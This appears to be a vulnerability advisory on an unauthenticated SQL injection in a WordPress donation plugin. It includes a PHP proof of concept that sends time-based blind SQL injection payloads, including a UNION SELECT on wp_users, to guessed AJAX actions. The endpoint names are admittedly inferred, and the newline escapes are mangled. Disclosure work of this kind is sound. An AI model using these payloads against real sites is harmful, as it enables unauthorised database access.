Atomic Edge analysis of CVE-2026-28115 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the WP Attractive Donations System plugin. The CWE-89 classification confirms improper neutralization of special elements in SQL commands. The description states insufficient escaping and lack of sufficient preparation on an existing SQL query. This indicates the plugin likely constructs SQL queries by directly concatenating user input without using WordPress’s $wpdb->prepare() method or proper parameterization.
The attack vector is unauthenticated, meaning the vulnerable endpoint lacks authentication checks. WordPress plugins commonly expose such endpoints via AJAX handlers registered with wp_ajax_nopriv_ hooks or via direct PHP file access. Given the plugin slug ‘WP_AttractiveDonationsSystem’, Atomic Edge research infers the vulnerable endpoint is likely an AJAX handler at /wp-admin/admin-ajax.php with an action parameter containing the plugin prefix (e.g., ‘wp_attractivedonationssystem_*’). Alternatively, a direct PHP file in the plugin directory may process donation submissions without proper access controls.
Exploitation involves injecting SQL payloads through a user-supplied parameter. The CVSS vector (AV:N/AC:L/PR:N) confirms network accessibility, low attack complexity, and no privileges required. The impact (C:H/I:N/A:N) is high confidentiality impact with no integrity or availability impact. Successful exploitation allows attackers to extract sensitive information from the database, including user credentials, payment data, or donation records.
A fix would require implementing proper input validation and using prepared statements via $wpdb->prepare(). The plugin version 1.25 remains vulnerable, and no patched version is available from WordPress.org. This suggests the plugin may have been removed from the repository due to this critical security issue.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28115 - WP Attractive Donations System - Easy Stripe & Paypal donations <= 1.25 - Unauthenticated SQL Injection
<?php
/**
* Proof of Concept for CVE-2026-28115
* Assumptions based on metadata analysis:
* 1. Vulnerable endpoint is likely an AJAX handler at /wp-admin/admin-ajax.php
* 2. Action parameter contains plugin prefix 'wp_attractivedonationssystem_'
* 3. SQL injection occurs via a user-controlled parameter (inferred as 'donation_id' or similar)
* 4. No authentication or nonce verification required (unauthenticated)
* This PoC demonstrates time-based blind SQL injection to confirm vulnerability.
*/
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// Common AJAX action names for donation plugins
$possible_actions = [
'wp_attractivedonationssystem_get_donation',
'wp_attractivedonationssystem_process',
'attractivedonationssystem_ajax',
'wp_ads_ajax_handler'
];
// Time-based SQL injection payload (MySQL)
$payloads = [
"' OR SLEEP(5) AND '1'='1",
"' OR IF(1=1,SLEEP(5),0) AND '1'='1",
"' UNION SELECT SLEEP(5) FROM wp_users WHERE '1'='1"
];
foreach ($possible_actions as $action) {
echo "Testing action: $actionn";
foreach ($payloads as $payload) {
$post_data = [
'action' => $action,
'donation_id' => $payload, // Inferred parameter name
'nonce' => '' // Often missing in vulnerable implementations
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
if ($elapsed >= 5) {
echo "[+] Potential SQL Injection confirmed with action '$action'n";
echo " Payload: $payloadn";
echo " Response time: {$elapsed}sn";
curl_close($ch);
exit(0);
}
curl_close($ch);
}
}
echo "[-] No SQL injection vulnerability detected with tested parametersn";
?>
